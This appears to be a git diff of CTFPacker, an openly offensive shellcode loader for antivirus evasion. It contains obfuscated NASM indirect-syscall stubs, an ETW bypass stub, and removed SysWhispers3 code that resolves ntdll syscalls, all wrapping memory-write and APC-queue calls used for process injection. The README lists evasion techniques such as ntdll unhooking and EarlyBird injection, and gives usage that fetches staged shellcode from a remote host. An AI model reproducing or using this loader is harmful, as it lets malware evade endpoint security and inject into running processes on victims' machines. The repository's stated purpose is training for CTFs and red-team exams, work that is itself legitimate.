|
||||
mov rcx, [rsp + 8] ; Restore registers
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11 ; Jump to -> Invoke system call
|
||||
HellHall_NtAVM:
|
||||
HellHall_NtPVM:
|
||||
HellHall_NtWVM:
|
||||
HellHall_NtQAT:
|
||||
mov r10, rcx ; NT ABI: first arg → r10
|
||||
and r8d, r8d ; [junk] dead flag test on arg3
|
||||
mov r11, qword [rel qAddr] ; load masked address
|
||||
mov rax, KEY_ADDR ; decode key (rax free — eax not set yet)
|
||||
xor r11, rax ; r11 = real syscall instruction address
|
||||
or r9d, r9d ; [junk] dead flag test on arg4
|
||||
mov eax, dword [rel dwSSN] ; load masked SSN
|
||||
xor eax, KEY_SSN ; eax = real SSN
|
||||
push r11 ; push target onto stack …
|
||||
ret ; … ret pops it → no jmp pattern
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTPVM
|
||||
; RetStub — ETW trampoline bypass: returns STATUS_SUCCESS (RAX = 0)
|
||||
; ---------------------------------------------------------------------------
|
||||
NTPVM:
|
||||
mov [rsp + 8], rcx
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0x159D0313 ; Load function hash
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax
|
||||
|
||||
mov ecx, 0x159D0313 ; Re-load function hash
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8]
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTWVM
|
||||
; ---------------------------------------------------------------------------
|
||||
NTWVM:
|
||||
mov [rsp + 8], rcx
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0x83179B97 ; Load function hash
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax
|
||||
|
||||
mov ecx, 0x83179B97
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8]
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTQAT
|
||||
; ---------------------------------------------------------------------------
|
||||
NTQAT:
|
||||
mov [rsp + 8], rcx
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0x88AE129F ; Load function hash
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax
|
||||
|
||||
mov ecx, 0x88AE129F
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8]
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11
|
||||
|
||||
; End of file
|
||||
global RetStub
|
||||
RetStub:
|
||||
neg rax ; [junk] overwritten by xor below
|
||||
xor eax, eax
|
||||
ret
|
||||
|
||||
@@ -1,278 +1,6 @@
|
||||
/*
|
||||
* whispers.c — SysWhispers3 replaced by Hell's Hall.
|
||||
* This file is kept so the Makefile does not need changes.
|
||||
* All syscall logic is in hellhall.c.
|
||||
*/
|
||||
#include "whispers.h"
|
||||
#include <stdio.h>
|
||||
|
||||
//#define DEBUG
|
||||
|
||||
#define JUMPER
|
||||
|
||||
#ifdef _M_IX86
|
||||
|
||||
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
|
||||
return (PVOID)__readfsdword(0xC0);
|
||||
}
|
||||
|
||||
__declspec(naked) BOOL local_is_wow64(void)
|
||||
{
|
||||
__asm {
|
||||
mov eax, fs:[0xc0]
|
||||
test eax, eax
|
||||
jne wow64
|
||||
mov eax, 0
|
||||
ret
|
||||
wow64:
|
||||
mov eax, 1
|
||||
ret
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
#endif
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
SW3_SYSCALL_LIST SW3_SyscallList;
|
||||
|
||||
// SEARCH_AND_REPLACE
|
||||
#ifdef SEARCH_AND_REPLACE
|
||||
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
|
||||
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
|
||||
#endif
|
||||
|
||||
DWORD SW3_HashSyscall(PCSTR FunctionName)
|
||||
{
|
||||
DWORD i = 0;
|
||||
DWORD Hash = SW3_SEED;
|
||||
|
||||
while (FunctionName[i])
|
||||
{
|
||||
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
|
||||
Hash ^= PartialName + SW3_ROR8(Hash);
|
||||
}
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
#ifndef JUMPER
|
||||
PVOID SC_Address(PVOID NtApiAddress)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
#else
|
||||
PVOID SC_Address(PVOID NtApiAddress)
|
||||
{
|
||||
DWORD searchLimit = 512;
|
||||
PVOID SyscallAddress;
|
||||
|
||||
#ifdef _WIN64
|
||||
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
|
||||
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
|
||||
ULONG distance_to_syscall = 0x12;
|
||||
#else
|
||||
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
|
||||
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
|
||||
ULONG distance_to_syscall = 0x0f;
|
||||
#endif
|
||||
|
||||
#ifdef _M_IX86
|
||||
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
|
||||
if (local_is_wow64())
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[+] Running 32-bit app on x64 (WOW64)\n");
|
||||
#endif
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
// we don't really care if there is a 'jmp' between
|
||||
// NtApiAddress and the 'syscall; ret' instructions
|
||||
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
|
||||
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
// we can use the original code for this system call :)
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
|
||||
// the 'syscall; ret' intructions have not been found,
|
||||
// we will try to use one near it, similarly to HalosGate
|
||||
|
||||
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
|
||||
{
|
||||
// let's try with an Nt* API below our syscall
|
||||
SyscallAddress = SW3_RVA2VA(
|
||||
PVOID,
|
||||
NtApiAddress,
|
||||
distance_to_syscall + num_jumps * 0x20);
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
|
||||
// let's try with an Nt* API above our syscall
|
||||
SyscallAddress = SW3_RVA2VA(
|
||||
PVOID,
|
||||
NtApiAddress,
|
||||
distance_to_syscall - num_jumps * 0x20);
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("Syscall Opcodes not found!\n");
|
||||
#endif
|
||||
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
BOOL SW3_PopulateSyscallList()
|
||||
{
|
||||
// Return early if the list is already populated.
|
||||
if (SW3_SyscallList.Count) return TRUE;
|
||||
|
||||
#ifdef _WIN64
|
||||
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
|
||||
#else
|
||||
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
|
||||
#endif
|
||||
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
|
||||
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
|
||||
PVOID DllBase = NULL;
|
||||
|
||||
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
|
||||
// in the list, so it's safer to loop through the full list and find it.
|
||||
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
|
||||
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
|
||||
{
|
||||
DllBase = LdrEntry->DllBase;
|
||||
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
|
||||
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
|
||||
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
|
||||
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (VirtualAddress == 0) continue;
|
||||
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
|
||||
|
||||
// If this is NTDLL.dll, exit loop.
|
||||
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
|
||||
|
||||
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
|
||||
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
|
||||
}
|
||||
|
||||
if (!ExportDirectory) return FALSE;
|
||||
|
||||
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
|
||||
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
|
||||
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
|
||||
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
// Populate SW3_SyscallList with unsorted Zw* entries.
|
||||
DWORD i = 0;
|
||||
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
|
||||
do
|
||||
{
|
||||
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
|
||||
|
||||
// Is this a system call?
|
||||
if (*(USHORT*)FunctionName == 0x775a)
|
||||
{
|
||||
Entries[i].Hash = SW3_HashSyscall(FunctionName);
|
||||
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
|
||||
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
|
||||
|
||||
i++;
|
||||
if (i == SW3_MAX_ENTRIES) break;
|
||||
}
|
||||
} while (--NumberOfNames);
|
||||
|
||||
// Save total number of system calls found.
|
||||
SW3_SyscallList.Count = i;
|
||||
|
||||
// Sort the list by address in ascending order.
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
|
||||
{
|
||||
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
|
||||
{
|
||||
if (Entries[j].Address > Entries[j + 1].Address)
|
||||
{
|
||||
// Swap entries.
|
||||
SW3_SYSCALL_ENTRY TempEntry;
|
||||
|
||||
TempEntry.Hash = Entries[j].Hash;
|
||||
TempEntry.Address = Entries[j].Address;
|
||||
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
|
||||
|
||||
Entries[j].Hash = Entries[j + 1].Hash;
|
||||
Entries[j].Address = Entries[j + 1].Address;
|
||||
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
|
||||
|
||||
Entries[j + 1].Hash = TempEntry.Hash;
|
||||
Entries[j + 1].Address = TempEntry.Address;
|
||||
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return -1;
|
||||
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return NULL;
|
||||
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return SW3_SyscallList.Entries[i].SyscallAddress;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return NULL;
|
||||
|
||||
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
|
||||
|
||||
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
|
||||
// Spoofing the syscall return address
|
||||
index = ((DWORD) rand()) % SW3_SyscallList.Count;
|
||||
}
|
||||
return SW3_SyscallList.Entries[index].SyscallAddress;
|
||||
}
|
||||
|
||||
@@ -1,100 +1,5 @@
|
||||
/*
|
||||
* whispers.h — shim; implementation replaced by Hell's Hall (hellhall.h/.c)
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
#ifndef SW3_HEADER_H_
|
||||
#define SW3_HEADER_H_
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#ifndef _NTDEF_
|
||||
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
|
||||
typedef NTSTATUS* PNTSTATUS;
|
||||
#endif
|
||||
|
||||
#define SW3_SEED 0x51EBD349
|
||||
#define SW3_ROL8(v) (v << 8 | v >> 24)
|
||||
#define SW3_ROR8(v) (v >> 8 | v << 24)
|
||||
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
|
||||
#define SW3_MAX_ENTRIES 600
|
||||
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
|
||||
|
||||
// Typedefs are prefixed to avoid pollution.
|
||||
|
||||
typedef struct _SW3_SYSCALL_ENTRY
|
||||
{
|
||||
DWORD Hash;
|
||||
DWORD Address;
|
||||
PVOID SyscallAddress;
|
||||
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
|
||||
|
||||
typedef struct _SW3_SYSCALL_LIST
|
||||
{
|
||||
DWORD Count;
|
||||
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
|
||||
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;
|
||||
|
||||
typedef struct _SW3_PEB_LDR_DATA {
|
||||
BYTE Reserved1[8];
|
||||
PVOID Reserved2[3];
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
|
||||
|
||||
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _SW3_PEB {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
PSW3_PEB_LDR_DATA Ldr;
|
||||
} SW3_PEB, *PSW3_PEB;
|
||||
|
||||
DWORD SW3_HashSyscall(PCSTR FunctionName);
|
||||
BOOL SW3_PopulateSyscallList();
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
|
||||
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
|
||||
typedef VOID(KNORMAL_ROUTINE) (
|
||||
IN PVOID NormalContext,
|
||||
IN PVOID SystemArgument1,
|
||||
IN PVOID SystemArgument2);
|
||||
|
||||
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
|
||||
|
||||
EXTERN_C NTSTATUS NTAVM(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID * BaseAddress,
|
||||
IN ULONG ZeroBits,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect);
|
||||
|
||||
EXTERN_C NTSTATUS NTPVM(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID * BaseAddress,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG NewProtect,
|
||||
OUT PULONG OldProtect);
|
||||
|
||||
EXTERN_C NTSTATUS NTWVM(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress,
|
||||
IN PVOID Buffer,
|
||||
IN SIZE_T NumberOfBytesToWrite,
|
||||
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NTQAT(
|
||||
IN HANDLE ThreadHandle,
|
||||
IN PKNORMAL_ROUTINE ApcRoutine,
|
||||
IN PVOID ApcArgument1 OPTIONAL,
|
||||
IN PVOID ApcArgument2 OPTIONAL,
|
||||
IN PVOID ApcArgument3 OPTIONAL);
|
||||
|
||||
#endif
|
||||
#include "hellhall.h"
|
||||
|
||||
@@ -1,17 +1,6 @@
|
||||
# CTFPacker
|
||||
|
||||
```
|
||||
▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███
|
||||
▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒
|
||||
▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒
|
||||
▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄
|
||||
▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
|
||||
░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
|
||||
░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░
|
||||
░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░
|
||||
░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
|
||||
░ ░
|
||||
```
|
||||

|
||||
|
||||
> [!TIP]
|
||||
> Did CTFPacker help you with a penetration test engagement or in passing a certification exam? If so, please consider giving it a star ⭐! Your support would greatly help the project and motivate me to add more features or even rework it entirely into a much more capable packer!
|
||||
@@ -23,8 +12,8 @@
|
||||
* [General Information](#general-information)
|
||||
* [Evasion Features](#evasion-features)
|
||||
* [Installation](#installation)
|
||||
+ [Makefile](#makefile)
|
||||
* [Usage](#usage)
|
||||
+ [GUI](#gui)
|
||||
+ [Format option](#format-option)
|
||||
+ [Staged](#staged)
|
||||
+ [Stageless](#stageless)
|
||||
@@ -37,7 +26,7 @@
|
||||
|
||||
This repository has been created to facilitate AV evasion during CTFs and/or pentest & red team exams. The goal is to focus more on pwning rather than struggeling with evasion !
|
||||
|
||||
Check out my blog post for more infos: [Evade Modern AVs in 2025](https://mochabyte.xyz/posts/Evade-Modern-AVs-in-2025/)
|
||||
Check out my blog post for more infos: [Evade Modern AVs in 2025](https://mochabyte.xyz/2025/06/11/evade-modern-avs-in-2025/)
|
||||
|
||||
## General Information
|
||||
|
||||
@@ -51,109 +40,39 @@ Check out my blog post for more infos: [Evade Modern AVs in 2025](https://mochab
|
||||
|
||||
## Evasion Features
|
||||
|
||||
- Indirect Syscalls via Syswhispers (rewrote in NASM compatible assembly)
|
||||
- Indirect Syscalls via **Hell's Hall** (PEB walk + CRC32b hashing, obfuscated NASM stub with XOR encoding & junk ops)
|
||||
- API Hashing
|
||||
- NTDLL unhooking via Known DLLs technique
|
||||
- Custom GetProcAddr & GetModuleHandle functions
|
||||
- Custom AES-128-CBC mode encryption & decryption
|
||||
- EarlyBird APC Injection
|
||||
- Possiblity to choose between staged or stageless loader
|
||||
- EarlyBird APC Injection or CopyFile2 progress callback execution
|
||||
- Possibility to choose between staged or stageless loader
|
||||
- "Polymorphic" behavior with the `-s` argument
|
||||
- Entropy reduction via embedded English text padding (`-er`)
|
||||
- Optional HTTPS transport for staged payloads
|
||||
|
||||
## Installation
|
||||
|
||||
Depending on your OS, the installation will slightly differ. In general, make sure you have the following stuff installed:
|
||||
|
||||
- CLANG compiler
|
||||
- MinGW-w64 Toolchain
|
||||
- Make
|
||||
|
||||
If I am not mistaken, those are by default installed on KALI Linux. However, if you want to install them manually, this should do the trick:
|
||||
Make sure you have the following dependencies installed first:
|
||||
|
||||
```bash
|
||||
# Assuming Debian based system
|
||||
# Assuming Debian based system (those are usually already on Kali)
|
||||
sudo apt update
|
||||
sudo apt install clang pipx mingw-w64 make lld nasm osslsigncode
|
||||
|
||||
# Verify installation
|
||||
clang --version
|
||||
make --version
|
||||
|
||||
# or
|
||||
clang -v
|
||||
|
||||
# If this is the case, refer to the chapter "Makefile" to replace the compiler in the Makefile of the templates
|
||||
```
|
||||
|
||||
It's a bit of a different story on Windows. You need to install the MinGW-w64 toolchain by installing MSYS2 first.
|
||||
Then just run the install script:
|
||||
|
||||
```powershell
|
||||
# Go there and install this
|
||||
https://www.msys2.org/
|
||||
|
||||
# Then
|
||||
pacman -Syu
|
||||
pacman -S mingw-w64-x86_64-clang
|
||||
|
||||
# Veryify installation
|
||||
x86_64-w64-mingw32-clang --version
|
||||
|
||||
# Install make
|
||||
pacman -S make
|
||||
|
||||
# Verify installation
|
||||
make --version
|
||||
```
|
||||
|
||||
You should also check under `C:\msys64\mingw64\bin`. This is a common place where the toolchain is being installed.
|
||||
|
||||
After the basis installation, don't forget to install the python requirements ! Otherwise the packer will not work :D !
|
||||
|
||||
**Linux**:
|
||||
```bash
|
||||
# Via pipx (preferred way)
|
||||
cd CTFPacker
|
||||
python3 -m pipx install .
|
||||
# You can use ctfpacker globaly now
|
||||
sudo bash install.sh
|
||||
|
||||
# Via manual virtual environment
|
||||
cd CTFPacker
|
||||
python3 -m venv env
|
||||
source env/bin/activate
|
||||
python3 -m pip install .
|
||||
|
||||
# Once you're done using the tool
|
||||
deactivate
|
||||
|
||||
# Old fashion
|
||||
cd CTFPacker
|
||||
python3 -m pip install -r requirements.txt --break-system-packages
|
||||
python3 main.py -h
|
||||
```
|
||||
**Windows**:
|
||||
```powershell
|
||||
# Via pip
|
||||
cd CTFPacker
|
||||
python3 -m pip install .
|
||||
|
||||
# Done ! :)
|
||||
# To remove it
|
||||
sudo bash uninstall.sh
|
||||
```
|
||||
|
||||
### Makefile
|
||||
That's it ! This will install the python package via pipx, set up a `.desktop` launcher and copy the logo to `~/.local/share/icons/`. You can now use `ctfpacker` and `ctfpacker-gui` globally.
|
||||
|
||||
You should NOT modify the Makefile unless you know what you are doing ! BUT, there's one thing you should check BEFORE the python installation process. The first line of the Makefile indicates your compiler. Verify if the compiler matches with the one you installed earlier on your system. You can refer to the appropriate Makefile (windows / linux) in this repo.
|
||||
|
||||
```makefile
|
||||
# Verify this line
|
||||
CLANG := clang
|
||||
```
|
||||
|
||||
Replace it with the appropriate CLANG compiler
|
||||
|
||||
```makefile
|
||||
# Example
|
||||
CLANG := x86_64-w64-mingw32-clang
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
@@ -175,51 +94,77 @@ options:
|
||||
Staged:
|
||||
|
||||
```
|
||||
usage: main.py staged [-h] -p PAYLOAD [-f {EXE,DLL}] -i IP_ADDRESS -po PORT -pa PATH [-o OUTPUT] [-e] [-s] [-pfx PFX] [-pfx-pass PFX_PASSWORD]
|
||||
usage: main.py staged [-h] -p PAYLOAD [-f {EXE,DLL}] [-apc {RuntimeBroker.exe,svchost.exe}]
|
||||
[-inj {apc,copyfile2}] -i IP_ADDRESS -po PORT -pa PATH [-o OUTPUT]
|
||||
[--https] [--user-agent USER_AGENT] [-e] [-s] [-er]
|
||||
[-pfx PFX] [-pfx-pass PFX_PASSWORD]
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
-h, --help show this help message and exit
|
||||
-p PAYLOAD, --payload PAYLOAD
|
||||
Shellcode to be packed
|
||||
Shellcode to be packed
|
||||
-f {EXE,DLL}, --format {EXE,DLL}
|
||||
Format of the output file (default: EXE).
|
||||
Format of the output file (default: EXE).
|
||||
-apc {RuntimeBroker.exe,svchost.exe}
|
||||
Target injection process (default: RuntimeBroker.exe).
|
||||
-inj {apc,copyfile2}, --inject-method {apc,copyfile2}
|
||||
Injection method: 'apc' for EarlyBird APC or 'copyfile2' for
|
||||
CopyFile2 progress callback execution (default: apc).
|
||||
-i IP_ADDRESS, --ip-address IP_ADDRESS
|
||||
IP address from where your shellcode is gonna be fetched.
|
||||
-po PORT, --port PORT
|
||||
Port from where the HTTP connection is gonna fetch your shellcode.
|
||||
-pa PATH, --path PATH
|
||||
Path from where your shellcode uis gonna be fetched.
|
||||
-o OUTPUT, --output OUTPUT
|
||||
Output path where the shellcode is gonna be saved.
|
||||
-e, --encrypt Encrypt the shellcode via AES-128-CBC.
|
||||
-s, --scramble Scramble the loader's functions and variables.
|
||||
-pfx PFX, --pfx PFX Path to the PFX file for signing the loader.
|
||||
IP address from where your shellcode is gonna be fetched.
|
||||
-po PORT, --port PORT Port from where the HTTP connection is gonna fetch your shellcode.
|
||||
-pa PATH, --path PATH Path from where your shellcode is gonna be fetched.
|
||||
-o OUTPUT, --output OUTPUT Output path where the loader is gonna be saved.
|
||||
--https Use HTTPS instead of HTTP for downloading the shellcode.
|
||||
--user-agent USER_AGENT Custom User-Agent string for HTTP/HTTPS requests.
|
||||
-e, --encrypt Encrypt the shellcode via AES-128-CBC.
|
||||
-s, --scramble Scramble the loader's functions and variables.
|
||||
-er, --entropy-reduction Reduce binary entropy by embedding English text padding.
|
||||
-pfx PFX, --pfx PFX Path to the PFX file for signing the loader.
|
||||
-pfx-pass PFX_PASSWORD, --pfx-password PFX_PASSWORD
|
||||
Password for the PFX file.
|
||||
Password for the PFX file.
|
||||
|
||||
Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s -pfx cert.pfx -pfx-pass 'password'
|
||||
Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -inj apc -e -s --https -pfx cert.pfx -pfx-pass 'password'
|
||||
```
|
||||
|
||||
Stageless:
|
||||
|
||||
```
|
||||
usage: main.py stageless [-h] -p PAYLOAD [-f {EXE,DLL}] [-e] [-s] [-pfx PFX] [-pfx-pass PFX_PASSWORD]
|
||||
usage: main.py stageless [-h] -p PAYLOAD [-f {EXE,DLL}] [-apc {RuntimeBroker.exe,svchost.exe}]
|
||||
[-inj {apc,copyfile2}] [-e] [-s] [-er]
|
||||
[-pfx PFX] [-pfx-pass PFX_PASSWORD]
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
-h, --help show this help message and exit
|
||||
-p PAYLOAD, --payload PAYLOAD
|
||||
Shellcode to be packed
|
||||
Shellcode to be packed
|
||||
-f {EXE,DLL}, --format {EXE,DLL}
|
||||
Format of the output file (default: EXE).
|
||||
-e, --encrypt Encrypt the shellcode via AES-128-CBC.
|
||||
-s, --scramble Scramble the loader's functions and variables.
|
||||
-pfx PFX, --pfx PFX Path to the PFX file for signing the loader.
|
||||
Format of the output file (default: EXE).
|
||||
